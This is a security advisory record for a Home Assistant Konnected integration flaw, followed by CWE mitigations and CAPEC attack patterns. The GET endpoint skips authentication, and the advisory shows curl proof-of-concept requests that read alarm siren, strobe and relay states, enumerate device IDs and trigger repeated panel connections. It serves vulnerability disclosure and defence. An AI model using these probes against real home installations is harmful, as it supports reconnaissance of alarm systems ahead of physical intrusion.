"name": "homeassistant"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54317"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:35:47Z",
"nvd_published_at": "2026-06-23T18:18:08Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe Konnected integration registers an HTTP endpoint, `KonnectedView` (`homeassistant/components/konnected/__init__.py`), that is marked as **not requiring authentication** (`requires_auth = False`). A comment next to that line says auth is instead handled \"via the access token from configuration.\"\n\nThat promise is only half true:\n\n- **Write requests (POST and PUT)** are handled by `update_sensor()`, which *does* check the request\u0027s `Authorization: Bearer \u003ctoken\u003e` header against the integration\u0027s stored access tokens (using `hmac.compare_digest`).\n- **Read requests (GET)** are handled by a separate `get()` method that has **no authentication check at all.**\n\nBy sending GET requests to `/api/konnected/device/{device_id}?zone=N`, any unauthenticated client on the LAN can:\n\n1. **Enumerate configured Konnected device IDs** \u2014 the endpoint returns a clean 404-vs-200 difference that acts as an oracle for which devices exist.\n2. **Read switch output states** \u2014 the on/off state of every switch output (siren, strobe, and relay outputs of the alarm panel).\n3. **Read the panel\u0027s zone topology** \u2014 how the alarm panel\u0027s zones are configured.\n4. **Trigger panel connections** \u2014 each unauthenticated GET forces one outbound `panel.async_connect()` call to the Konnected hardware on the LAN.\n\nThe same URL that correctly rejects unauthenticated POST and PUT requests silently serves unauthenticated GET requests, leaking alarm-panel state and device topology to anyone who can reach Home Assistant\u0027s HTTP port (8123 on the LAN by default).\n\n### Details\n\nThis is the threat-model boundary \"unauth to auth\" the upstream security policy treats as fileable. The same boundary produced CVE-2026-34205 (`Unauthenticated app endpoints exposed to local network via host network mode`, CVSS 9.7 CRITICAL, March 2026) and CVE-2023-50715 (`User accounts disclosed to unauthenticated actors on the LAN`, CVSS 4.2 MODERATE, December 2023). The Konnected gap is structurally identical: a HomeAssistantView with `requires_auth = False` that returns information about configured devices to anyone who can reach the HTTP port.\n\nConfirmed end-to-end against `ghcr.io/home-assistant/home-assistant:2026.5.2`. The Proof of Concept section below has seven captures. Step 1 cites the three load-bearing source ranges (view registration, the auth check that only POST/PUT use, the GET handler that omits it). Step 2 is the control: POST and PUT on the same URL return `401 unauthorized` without a Bearer token, proving the integration does have an auth check, just only on the write methods. Step 3 is the bug: GET on the same URL with no Authorization header returns `200 {\"zone\":\"5\",\"state\":1}` for the siren-output zone, equivalent payload for the strobe and relay-output zones. Step 4 exercises the enumeration oracle: unknown `device_id` returns a 404 with a distinct message from a known `device_id` with an unknown zone, which a brute-forcer uses to map the device-ID and zone space. Step 5 captures the connection-amplification side effect by firing 10 unauthenticated GETs and observing 10 `panel.async_connect()` invocations on the panel side. Step 6 shows that a deliberately wrong `Authorization` header produces the same response as no header at all, confirming the auth header is not consulted on GET. Step 7 captures the HA startup log line that registers `KonnectedView`.\n\n### Threat model\n\nHome Assistant\u0027s HTTP server binds to the LAN at port 8123 by default. A Konnected alarm panel is a wired smart-home hardware product whose primary use case is *alarm and security*: zones 1-6 typically read door/window/glass-break sensors, switches 5-8 drive siren, strobe, and relay outputs that control the alarm itself or external systems such as garage-door openers, entry chimes, or armed-disable interlocks. The state an attacker reads through this bug is precisely the live status of those outputs and inputs.\n\nThe attacker model upstream policy explicitly treats as in-scope is the LAN-adjacent unauthenticated client: a guest who joined the wifi, a neighbor on shared coffee-shop wifi, a malicious device that reached the LAN via a separately compromised IoT product, an attacker who landed via a flat office network, or an attacker who pivoted from a VPN endpoint. None of these positions grant an access token. All of them grant the network reachability the bug requires.\n\nThe same endpoint is the receiver for legitimate push updates from the Konnected hardware, which is why `requires_auth = False` exists in the first place. The intent was to enforce a shared access token on the body. That intent is present in `update_sensor()` and absent in `get()`.\n\n### Impact\n\n- **Alarm-system reconnaissance enabling physical intrusion.** A `200 {\"zone\":\"5\",\"state\":1}` response on the siren zone tells an attacker the siren is firing right now, which means a burglary is in progress and the operator may be away or distracted. A `state:0` on the same zone says the panel is quiet. The same applies to strobes, armed-disable relays, and any switch the operator wired through Konnected. This is the intelligence a physical attacker explicitly seeks before entering a property.\n- **Topology disclosure.** Probing zones 1 through 12 across a known device_id maps the alarm panel: which zones are sensors, which are switches, which switches are configured for which output. Combined with manufacturer documentation, the topology tells an attacker which physical control points to bypass.\n- **Device ID brute force.** The 404 \"Device \u003cid\u003e not configured\" oracle on unknown IDs versus 404 \"Switch on zone or pin \u003cn\u003e not configured\" on known IDs with unknown zones, versus 200 with state on full hits, is a clean four-state oracle. Konnected hardware derives `device_id` from its NIC MAC address; production hardware ships with a small set of manufacturer OUI prefixes. The brute force space is on the order of 2^24, trivially scannable from any LAN host with no rate limit.\n- **Outbound connection amplification.** Line 397 of `__init__.py` fires `hass.async_create_task(panel.async_connect())` on every successful GET. An unauth attacker drives N outbound connect attempts toward the (typically LAN-private) Konnected hardware with N unauth GETs, no rate limit, no auth log. A 10-rps sustained scan produces a constant connect storm against the panel hardware that, depending on Konnected firmware, may interfere with legitimate push delivery or cause spurious connect/disconnect cycles visible in the operator\u0027s notification stream.\n- **No auth trail.** The GET handler logs nothing at INFO level. An attacker can probe this endpoint at arbitrary depth and leave no record in `home-assistant.log` unless DEBUG logging is enabled for the integration.\n\n### Affected code\n\n`homeassistant/components/konnected/__init__.py:296-301`, the view registration. The comment on line 301 is load-bearing for the bug: it says auth happens via the configured access token, but that promise is only kept on the POST/PUT path.\n\n```python\nclass KonnectedView(HomeAssistantView):\n \"\"\"View creates an endpoint to receive push updates from the device.\"\"\"\n\n url = UPDATE_ENDPOINT # /api/konnected/device/{device_id:[a-zA-Z0-9]+}\n name = \"api:konnected\"\n requires_auth = False # Uses access token from configuration\n```\n\n`homeassistant/components/konnected/__init__.py:313-335`, the auth check that lives inside `update_sensor()`. POST and PUT call this; GET does not.\n\n```python\nasync def update_sensor(self, request: Request, device_id) -\u003e Response:\n \"\"\"Process a put or post.\"\"\"\n hass = request.app[KEY_HASS]\n data = hass.data[DOMAIN]\n\n auth = request.headers.get(AUTHORIZATION)\n tokens = []\n if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):\n tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])\n tokens.extend(\n [\n entry.data[CONF_ACCESS_TOKEN]\n for entry in hass.config_entries.async_entries(DOMAIN)\n if entry.data.get(CONF_ACCESS_TOKEN)\n ]\n )\n if auth is None or not next(\n (True for token in tokens if hmac.compare_digest(f\"Bearer {token}\", auth)),\n False,\n ):\n return self.json_message(\n \"unauthorized\", status_code=HTTPStatus.UNAUTHORIZED\n )\n```\n\n`homeassistant/components/konnected/__init__.py:385-438`, the GET handler with no authentication. Note line 397 firing `panel.async_connect()` before any reachable auth check and before any rate-limit logic.\n\n```python\nasync def get(self, request: Request, device_id) -\u003e Response:\n \"\"\"Return the current binary state of a switch.\"\"\"\n hass = request.app[KEY_HASS]\n data = hass.data[DOMAIN]\n\n if not (device := data[CONF_DEVICES].get(device_id)):\n return self.json_message(\n f\"Device {device_id} not configured\", status_code=HTTPStatus.NOT_FOUND\n )\n\n if (panel := device.get(\"panel\")) is not None:\n # connect if we haven\u0027t already\n hass.async_create_task(panel.async_connect())\n\n # Our data model is based on zone ids but we convert from/to pin ids\n # based on whether they are specified in the request\n try:\n zone_num = str(\n request.query.get(CONF_ZONE) or PIN_TO_ZONE[request.query[CONF_PIN]]\n )\n zone = next(\n switch\n for switch in device[CONF_SWITCHES]\n if switch[CONF_ZONE] == zone_num\n )\n\n except StopIteration:\n zone = None\n except KeyError:\n zone = None\n zone_num = None\n\n if not zone:\n target = request.query.get(\n CONF_ZONE, request.query.get(CONF_PIN, \"unknown\")\n )\n return self.json_message(\n f\"Switch on zone or pin {target} not configured\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n resp = {}\n if request.query.get(CONF_ZONE):\n resp[CONF_ZONE] = zone_num\n elif zone_num:\n resp[CONF_PIN] = ZONE_TO_PIN[zone_num]\n\n # Make sure entity is setup\n if zone_entity_id := zone.get(ATTR_ENTITY_ID):\n resp[\"state\"] = self.binary_value(\n hass.states.get(zone_entity_id).state,\n zone[CONF_ACTIVATION],\n )\n return self.json(resp)\n```\n\nThe four-state response oracle that powers the brute force:\n\n| Probe | Response | Status |\n|---|---|---|\n| Unknown `device_id` | `{\"message\":\"Device \u003cid\u003e not configured\"}` | 404 |\n| Known `device_id`, no `zone` or `pin` parameter | `{\"message\":\"Switch on zone or pin unknown not configured\"}` | 404 |\n| Known `device_id`, unknown `zone` | `{\"message\":\"Switch on zone or pin \u003cn\u003e not configured\"}` | 404 |\n| Known `device_id`, known `zone` | `{\"zone\":\"\u003cn\u003e\",\"state\":0\\|1}` | 200 |\n\n`homeassistant/components/konnected/const.py:45`, the URL pattern:\n\n```python\nENDPOINT_ROOT = \"/api/konnected\"\nUPDATE_ENDPOINT = ENDPOINT_ROOT + r\"/device/{device_id:[a-zA-Z0-9]+}\"\n```\n\n### Proof of concept\n\nReproduction environment is a single Docker container of Home Assistant Core 2026.5.2 with a small `custom_components/konnected_poc/` shim that primes `hass.data[konnected]` with a representative alarm-panel layout and registers the same `KonnectedView` class through `hass.http.register_view`. The shim does not change the bug surface; it is the same class the upstream integration registers at line 248. All seven evidence captures below come from one live run against the container.\n\n#### Environment\n\n```\nhost: Darwin 25.2.0 arm64\ndocker: Docker version 29.4.3, build 055a478ea9\nha image: ghcr.io/home-assistant/home-assistant:2026.5.2\n\nkonnected source SHA-256 (the file containing the bug):\n33e1e56b8fe0c28aa2aee060e214a501c813655297b33272e83c2f2d51adc3b6 /usr/src/homeassistant/homeassistant/components/konnected/__init__.py\n\nkonnected_poc shim startup log:\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc\n2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds\n```\n\n#### Step 1: cite the three load-bearing source ranges inside the running container\n\n```\n$ docker exec ha-konnected-poc sh -c \u0027\n pkg=$(python -c \"import homeassistant.components.konnected as m; import os; print(os.path.dirname(m.__file__))\")\n sed -n \"296,305p\" \"$pkg/__init__.py\"\n sed -n \"313,336p\" \"$pkg/__init__.py\"\n sed -n \"385,438p\" \"$pkg/__init__.py\"\n\u0027\n\n--- view registration, requires_auth = False (line 301) ---\nclass KonnectedView(HomeAssistantView):\n \"\"\"View creates an endpoint to receive push updates from the device.\"\"\"\n\n url = UPDATE_ENDPOINT\n name = \"api:konnected\"\n requires_auth = False # Uses access token from configuration\n\n--- update_sensor() enforces Bearer-token auth via hmac.compare_digest ---\n async def update_sensor(self, request: Request, device_id) -\u003e Response:\n \"\"\"Process a put or post.\"\"\"\n hass = request.app[KEY_HASS]\n data = hass.data[DOMAIN]\n\n auth = request.headers.get(AUTHORIZATION)\n tokens = []\n if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):\n tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])\n tokens.extend(\n [\n entry.data[CONF_ACCESS_TOKEN]\n for entry in hass.config_entries.async_entries(DOMAIN)\n if entry.data.get(CONF_ACCESS_TOKEN)\n ]\n )\n if auth is None or not next(\n (True for token in tokens if hmac.compare_digest(f\"Bearer {token}\", auth)),\n False,\n ):\n return self.json_message(\n \"unauthorized\", status_code=HTTPStatus.UNAUTHORIZED\n )\n\n--- get() handler, no auth check anywhere in the body ---\n async def get(self, request: Request, device_id) -\u003e Response:\n \"\"\"Return the current binary state of a switch.\"\"\"\n hass = request.app[KEY_HASS]\n data = hass.data[DOMAIN]\n\n if not (device := data[CONF_DEVICES].get(device_id)):\n return self.json_message(\n f\"Device {device_id} not configured\", status_code=HTTPStatus.NOT_FOUND\n )\n\n if (panel := device.get(\"panel\")) is not None:\n # connect if we haven\u0027t already\n hass.async_create_task(panel.async_connect())\n ...\n return self.json(resp)\n```\n\n#### Step 2: control. POST and PUT on the same URL return 401 without a Bearer token\n\nThe integration does enforce a Bearer-token check; the policy is just only applied to the write methods.\n\n```\n$ curl -sS -i -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"zone\":\"5\",\"state\":\"1\"}\u0027 \\\n http://127.0.0.1:8123/api/konnected/device/aabbccdd1122\n\nHTTP/1.1 401 Unauthorized\nContent-Type: application/json\nContent-Length: 26\n\n{\"message\":\"unauthorized\"}\n\n$ curl -sS -i -X PUT -H \"Content-Type: application/json\" \\\n -d \u0027{\"zone\":\"5\",\"state\":\"1\"}\u0027 \\\n http://127.0.0.1:8123/api/konnected/device/aabbccdd1122\n\nHTTP/1.1 401 Unauthorized\nContent-Type: application/json\nContent-Length: 26\n\n{\"message\":\"unauthorized\"}\n```\n\n#### Step 3: the bug. GET returns alarm-panel switch state with no Authorization header\n\nThree zones queried unauthenticated. Each returns the live binary state of a switch output on the configured Konnected alarm panel.\n\n```\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 22\n\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=6\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"6\",\"state\":1}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=7\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"7\",\"state\":1}\n```\n\nZone 5 is the siren output of the panel in this configuration. Zone 6 is the strobe. Zone 7 is the relay output wired to the garage arm-disable circuit. The unauthenticated attacker learns each output is currently active.\n\n#### Step 4: enumeration oracle. Three distinct response shapes power the brute force\n\n```\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/ffffffffffff?zone=5\"\n\nHTTP/1.1 404 Not Found\nContent-Length: 48\n\n{\"message\":\"Device ffffffffffff not configured\"}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=99\"\n\nHTTP/1.1 404 Not Found\nContent-Length: 53\n\n{\"message\":\"Switch on zone or pin 99 not configured\"}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"5\",\"state\":1}\n```\n\nAn attacker sweeping the `device_id` space sees the `Device \u003cid\u003e not configured` message until a real device matches, at which point the `Switch on zone or pin \u003cn\u003e not configured` message starts appearing. Then a 12-iteration zone sweep maps the panel\u0027s full output topology.\n\n#### Step 5: connection amplification. N unauth GETs drive N outbound `panel.async_connect()` calls\n\n10 unauthenticated GET requests at line rate. The `panel.async_connect()` invocations logged by the panel-side stub confirm line 397 of `__init__.py` fires unconditionally on every successful GET, before any reachable rate-limit logic and before any reachable auth check.\n\n```\n$ for i in $(seq 1 10); do\n curl -sS -o /dev/null -w \"GET #%{http_code}\\n\" \\\n \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n done\n\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\n\n$ docker logs ha-konnected-poc 2\u003e\u00261 | grep \"async_connect() invoked\"\n\n2026-05-18 15:23:55.893 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #1). In production this is an outbound HTTPS call to the configured Konnected hardware.\n2026-05-18 15:23:55.900 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #2). ...\n2026-05-18 15:23:55.907 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #3). ...\n2026-05-18 15:23:55.921 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #4). ...\n2026-05-18 15:23:55.928 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #5). ...\n2026-05-18 15:23:55.937 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #6). ...\n2026-05-18 15:23:55.944 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #7). ...\n2026-05-18 15:23:55.951 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #8). ...\n2026-05-18 15:23:55.957 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #9). ...\n2026-05-18 15:23:55.964 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #10). ...\n```\n\nA sustained scan trivially fills the operator\u0027s panel side with retry storms. In production the call is an outbound HTTPS connection to the Konnected hardware on the LAN.\n\n#### Step 6: the Authorization header is ignored on GET\n\nIdentical responses with no header, a deliberately wrong header, and no header again. This rules out any caching artifact and confirms `get()` never reads the auth state.\n\n```\n$ curl -sS \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS -H \"Authorization: Bearer this-token-is-completely-wrong\" \\\n \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n```\n\nThe wrong-Authorization case is the load-bearing one. If the GET handler ever consulted the header, it would either accept it (no, because the token is wrong) or reject it (no, because the response is 200 with state). The handler never reads `request.headers[\"Authorization\"]`.\n\n#### Step 7: startup log confirms the view is registered and the integration is loaded\n\n```\n2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setting up konnected\n2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setup of domain konnected took 0.00 seconds\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc\n2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds\n```\n\nThe `konnected` integration shipped in core 2026.5.2 is loaded normally. The `konnected_poc` shim runs after it, registering the same `KonnectedView` class through `hass.http.register_view` and seeding `hass.data[konnected][devices]` with a representative alarm-panel configuration. The bug surface is the same `KonnectedView` class the upstream integration registers at `__init__.py:248` on every production install.\n\n### Workaround\n\nMigrate to the EspHome integration, as suggested in the existing repair issue for the Konnected integration.\n\n### Fix\n\nThe Konnected integration was removed in Home Assistant Core 2026.6.0. It had been deprecated for some time.",
"id": "GHSA-x84v-g949-293w",
"modified": "2026-07-20T21:11:28Z",
"published": "2026-06-19T19:35:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/security/advisories/GHSA-x84v-g949-293w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54317"
},
{
"type": "PACKAGE",
"url": "https://github.com/home-assistant/core"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/homeassistant/PYSEC-2026-241.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Home Assistant: Konnected alarm-panel switch state and zone topology disclosed to unauthenticated actors on the LAN"
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.